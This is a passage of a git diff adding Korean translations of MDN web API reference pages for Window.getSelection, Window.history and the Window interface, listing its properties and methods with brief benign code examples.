+<p>위 예제에서 selObj를 {{domxref("window.alert()")}}의 인자로 전달하면 <code>selObj.toString()</code>가 자동적으로 호출됩니다. 하지만, selObj에 대해서 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code> 나 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code> 같은 JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="JS/String">String</a>의 속성이나 메소드를 사용하면 객체에 그러한 속성이나 메소드가 없기 때문에 에러나 예상치 못한 결과가 발생합니다. <code>Selection</code> 객체를 문자열로 사용하려면 다음처럼 직접 <code style="font-style: normal;">toString()</code> 메소드를 호출해야 합니다:</p>
+
+<pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre>
+
+<ul>
+ <li><code>selObj</code>는 <code>Selection</code> 객체입니다.</li>
+ <li><code>selectedText</code>는 문자열 (선택한 문자열)입니다.</li>
+</ul>
+
+<h3 id="Related_objects">Related objects</h3>
+
+<p>It's also useful to note that you can call {{domxref("Document.getSelection()")}}, which works identically.</p>
+
+<p>HTML inputs provide simpler helper APIs for working with selection (see {{domxref("HTMLInputElement.setSelectionRange()")}}).</p>
+
+<p>Notice the difference between <em>selection</em> and <em>focus</em>. {{domxref("Document.activeElement")}} returns the focused element.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML Editing", "#dom-window-getselection", "Window.getSelection()")}}</td>
+   <td>{{Spec2("HTML Editing")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}</li>
+ <li>{{domxref("Range")}}</li>
+ <li>{{domxref("Document.getSelection()")}}</li>
+ <li>{{domxref("HTMLInputElement.setSelectionRange()")}}</li>
+ <li>{{domxref("Document.activeElement")}}, {{domxref("HTMLElement.focus()")}}, and {{domxref("HTMLElement.blur()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/history/index.html b/files/ko/web/api/window/history/index.html
new file mode 100644
index 0000000000..1fffa11d9a
--- /dev/null
+++ b/files/ko/web/api/window/history/index.html
@@ -0,0 +1,59 @@
+---
+title: Window.history
+slug: Web/API/Window/history
+tags:
+  - API
+  - HTML DOM
+  - History API
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/history
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>Window</strong>.<strong>history</strong></code> 읽기 전용 속성은 {{domxref("History")}} 객체로의 참조를 반환합니다. History 객체는 브라우저의 세션 기록(현재 페이지를 불러온 탭 혹은 프레임이 방문했던 페이지)을 조작할 때 사용합니다.</p>
+
+<p><a href="/ko/docs/Web/API/History_API">History API</a> 문서를 방문해 자세한 정보와 함께 예제를 살펴보세요. 특히, 저 문서는 {{domxref("History.pushState", "pushState()")}}와 {{domxref("History.replaceState", "replaceState()")}} 메서드를 사용하기 전 알아야 할 보안 기능을 설명합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">history.back();     // 뒤로 가기 버튼 클릭과 동일
+history.go(-1);     // history.back()과 동일
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>프레임에 속하지 않은 최상위 페이지의 세션 기록은 브라우저의 뒤로 가기/앞으로 가기 버튼의 드롭다운 메뉴에서도 볼 수 있습니다.</p>
+
+<p>보안상의 문제로, {{domxref("History")}} 객체는 세션 기록 내 다른 페이지의 {{glossary("URL")}}을 알 수 없습니다. 그러나 세션 기록을 탐색하는 것은 할 수 있습니다.</p>
+
+<p>일반 코드에서 세션 기록을 지우거나, 브라우저의 뒤로/앞으로 가기 버튼을 비활성화할 방법은 없습니다. 그나마 가장 근접한 방법은 {{domxref("Location.replace", "location.replace()")}} 메서드로, 세션 기록의 현재 항목을 주어진 URL로 바꿉니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.history")}}</p>
diff --git a/files/ko/web/api/window/index.html b/files/ko/web/api/window/index.html
new file mode 100644
index 0000000000..4ab8a88279
--- /dev/null
+++ b/files/ko/web/api/window/index.html
@@ -0,0 +1,700 @@
+---
+title: Window
+slug: Web/API/Window
+tags:
+  - API
+  - DOM
+  - Interface
+  - JavaScript
+  - Reference
+  - Window
+translation_of: Web/API/Window
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Window</code></strong> 인터페이스는 {{glossary("DOM")}} 문서를 담은 창을 나타냅니다.</span> <code>document</code> 속성이 창에 불러온 <a href="/ko/docs/Web/API/Document">DOM 문서</a>를 가리킵니다. 반대로, 주어진 문서의 창은 {{domxref("document.defaultView")}}를 사용해 접근할 수 있습니다.</p>
+
+<p>JavaScript 코드에 노출된 전역 변수 <code>window</code>는 현재 스크립트가 작동 중인 창을 나타냅니다.</p>
+
+<p><code>Window</code> 인터페이스는 다양한 함수, 이름공간, 객체, 생성자가 머무는 장소입니다. 그 중엔 사용자 인터페이스로서의 창 개념과는 직접 관련되지 않은 것도 존재하며, 대신 전역적으로 접근할 수 있어야 하는 항목에 적합합니다. 많은 수의 항목이 <a href="/ko/docs/Web/JavaScript/Reference">JavaScript 참고서</a>와 <a href="/ko/docs/Web/API/Document_Object_Model">DOM 참고서</a>에 문서화되어 있습니다.</p>
+
+<p>탭 기능이 있는 브라우저에서는 각각의 탭을 각각의 <code>Window</code> 객체로 나타냅니다. 주어진 탭에서 동작 중인 JavaScript 코드의 전역 <code>window</code> 객체는 항상 자신의 탭을 나타냅니다. 그렇지만 {{domxref("Window.resizeTo", "resizeTo()")}}와 {{domxref("Window.innerHeight", "innerHeight")}}처럼, 일부 속성과 메서드는 탭이 아닌 창 전체에 적용됩니다. 보통 탭과 합리적으로는 연관 지을 수 없는 경우 창에 속합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<p><a href="/ko/docs/Web/API/Document_Object_Model#DOM_인터페이스" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스</a>도 참고하세요.</p>
+
+<dl>
+ <dt>{{domxref("DOMParser")}}</dt>
+ <dd><code>DOMParser</code>는 문자열에 저장한 XML 또는 HTML 소스 코드를 DOM {{domxref("Document")}}로 구문 분석할 수 있습니다. <code>DOMParser</code>는 <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a> 명세의 일부입니다.</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>{{domxref("HTMLImageElement")}}를 생성할 때 사용합니다.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>{{domxref("HTMLOptionElement")}}를 생성할 때 사용합니다.</dd>
+ <dt>{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}</dt>
+ <dd>{{domxref('StaticRange')}} 객체를 생성하는 {{domxref('StaticRange.StaticRange','StaticRange()')}} 생성자를 반환합니다.</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd><a href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers">Web Worker</a> 생성에 사용합니다.</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>DOM 트리를 XML 또는 HTML 소스로 변환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p>{{domxref("EventTarget")}}의 속성을 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 속성을 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Window.closed")}} {{readOnlyInline}}</dt>
+ <dd>현재 창이 닫혔는지 나타냅니다.</dd>
+ <dt>{{domxref("Window.console")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 디버깅 콘솔에 접근할 수 있는 콘솔 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.controllers")}} {{ReadOnlyInline}} {{non-standard_inline}}</dt>
+ <dd>현재 크롬 창의 XUL 컨트롤러 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.customElements")}} {{ReadOnlyInline}}</dt>
+ <dd>새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소에 대한 정보를 얻을 수 있는 {{domxref("CustomElementRegistry")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 암호화 객체를 반환합니다.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{ReadOnlyInline}}</dt>
+ <dd>현재 화면에서의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다.</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
+ <dd>창이 포함하는 문서로의 참조를 반환합니다.</dd>
+ <dt>{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMMatrix")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd>
+ <dt>{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMMatrixReadOnly")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd>
+ <dt>{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMPoint")}} object, which represents a 2D or 3D point in a coordinate system.</dd>
+ <dt>{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMPointReadOnly")}} object, which represents a 2D or 3D point in a coordinate system.</dd>
+ <dt>{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMQuad")}} object, which provides represents a quadrilaterial object, that is one having four corners and four sides.</dd>
+ <dt>{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.</dd>
+ <dt>{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMRectReadOnly")}} object, which represents a rectangle.</dd>
+ <dt>{{domxref("Window.event")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the <strong>current event</strong>, which is the event currently being handled by the JavaScript code's context, or <code>undefined</code> if no event is currently being handled. The {{domxref("Event")}} object passed directly to event handlers should be used instead whenever possible.</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>이 창을 삽입했을 때 사용한 요소를 반환합니다. 창이 문서 내에 삽입된 것이 아니면 {{jsxref("null")}}을 반환합니다.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>현재 창의 하위 프레임을 배열로 반환합니다.</dd>
+ <dt>{{domxref("Window.fullScreen")}}</dt>
+ <dd>현재 창을 전체 화면으로 보여주고 있는지 나타냅니다.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the history object.</dd>
+ <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd>
+ <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd>
+ <dt>{{domxref("Window.isSecureContext")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Indicates whether a context is capable of using features that require secure contexts.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}}</dt>
+ <dd>Gets/sets the location, or current URL, of the window object.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.messageManager")}}</dt>
+ <dd>Returns the <a href="/en-US/docs/The_message_manager">message manager</a> object for this window.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}} {{non-standard_inline}}</dt>
+ <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}</dt>
+ <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Gets/sets the name of the window.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the navigator object.</dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>현재 창을 열었던 다른 창의 참조를 반환합니다.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 창 외곽 높이를 반환합니다.</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>브라우저 창 외곽 너비를 반환합니다.</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}} {{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the parent of the current window or subframe.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing <a href="/en-US/docs/Navigation_timing">performance-related</a> data. See also <a href="/en-US/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing">Using Navigation Timing</a> for additional information and examples.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the screen object associated with the window.</dd>
+ <dt>{{domxref("Window.screenX")}} and {{domxref("Window.screenLeft")}} {{readOnlyInline}}</dt>
+ <dd>Both properties return the horizontal distance from the left border of the user's browser viewport to the left side of the screen.</dd>
+ <dt>{{domxref("Window.screenY")}} and {{domxref("Window.screenTop")}} {{readOnlyInline}}</dt>
+ <dd>Both properties return the vertical distance from the top border of the user's browser viewport to the top side of the screen.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}} {{non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}} {{non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns an object reference to the window object itself.</dd>
+ <dt>{{domxref("Window.sessionStorage")}}</dt>
+ <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the window object of the sidebar.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd>
+ <dt>{{domxref("Window.visualViewport")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the current window.</dd>
+ <dt><code>window[0]</code>, <code>window[1]</code>, etc.</dt>
+ <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd>
+</dl>
+
+<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_properties">Deprecated properties</h3>
+
+<dl>
+ <dt>{{domxref("Window.content")}} and <code>Window._content</code> {{Non-standard_inline}} {{deprecated_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the content element in the current window. Since Firefox 57 (initially Nightly-only), both versions are only available from chrome (privileged) code, and not available to the web anymore.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{deprecated_inline}}</dt>
+ <dd>Gets/sets the status bar text for the given window.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{deprecated_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{deprecated_inline}}</dt>
+ <dd>Synonym of {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.globalStorage")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Multiple storage objects that were used for storing data across multiple pages.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>The time in milliseconds since epoch at which the current animation cycle began. Use {{domxref("Animation.startTime")}} instead.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd>
+ <dt>{{domxref("Window.orientation")}} {{readOnlyInline}} {{deprecated_inline}}</dt>
+ <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{deprecated_inline}}</dt>
+ <dd>Formerly provided access to install and remove PKCS11 modules.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{deprecated_inline}}</dt>
+ <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd>
+</dl>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<p>{{domxref("EventTarget")}}의 메서드를 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>경고 대화 상자를 표시합니다.</dd>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Sets focus away from the window.</dd>
+ <dt>{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.</dd>
+ <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Closes the current window.</dd>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Displays a dialog with a message that the user needs to respond to.</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Used to trigger an event.</dd>
+ <dt>{{domxref("Window.dump()")}} {{Non-standard_inline}}</dt>
+ <dd>Writes a message to the console.</dd>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Searches for a given string in a window.</dd>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Sets focus on the current window.</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd>
+ <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt>
+ <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Returns the selection object representing the selected item(s).</dd>
+ <dt>{{domxref("Window.matchMedia()")}}</dt>
+ <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Minimizes the window.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Moves the current window by a specified amount.</dd>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Moves the window to the specified coordinates.</dd>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Opens a new window.</dd>
+ <dt>{{domxref("Window.postMessage()")}}</dt>
+ <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd>
+ <dt>{{domxref("Window.print()")}}</dt>
+ <dd>Opens the Print Dialog to print the current document.</dd>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Returns the text entered by the user in a prompt dialog.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()")}}</dt>
+ <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.</dd>
+ <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables the scheduling of tasks during a browser's idle periods.</dd>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Resizes the current window by a certain amount.</dd>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Dynamically resizes window.</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Scrolls the document in the window by the given amount.</dd>
+ <dt>{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the document by the given number of lines.</dd>
+ <dt>{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the current document by the specified number of pages.</dd>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates in the document.</dd>
+ <dt>{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)</dt>
+ <dd>Changes the cursor for the current window</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Executes a function after the browser has finished other heavy tasks</dd>
+ <dt>{{domxref("Window.setResizable()")}} {{Non-standard_inline}}</dt>
+ <dd>Toggles a user's ability to resize a window.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}</dt>
+ <dd>Sizes the window according to its content.</dd>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>This method stops window loading.</dd>
+ <dt>{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}</dt>
+ <dd>Updates the state of commands of the current chrome window (UI).</dd>
+</dl>
+
+<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Register an event handler to a specific event type on the window.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
+ <dd>Removes an event listener from the window.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="deprecated_methods">deprecated methods</h3>
+
+<dl>
